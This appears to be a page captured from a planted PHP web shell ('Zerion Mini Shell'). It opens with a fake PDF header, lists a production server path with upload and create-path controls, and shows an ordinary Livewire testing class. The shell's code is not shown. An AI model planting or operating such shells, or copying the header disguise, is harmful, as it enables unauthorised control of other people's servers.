%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/production/vendor/livewire/livewire/src/Features/SupportTesting/
Upload File :
Create Path :
Current File : /www/loslex/production/vendor/livewire/livewire/src/Features/SupportTesting/Render.php

<?php

namespace Livewire\Features\SupportTesting;

use function Livewire\on;

abstract class Render
{
    protected function extractComponentAndBladeView($callback)
    {
        $instance = null;
        $extractedView = null;

        $offA = on('dehydrate', function ($component) use (&$instance) {
            $instance = $component;
        });

        $offB = on('render', function ($component, $view) use (&$extractedView) {
            return function () use ($view, &$extractedView) {
                $extractedView = $view;
            };
        });

        $result = $callback();

        $offA(); $offB();

        return [$result, $instance, $extractedView];
    }
}

Zerion Mini Shell 1.0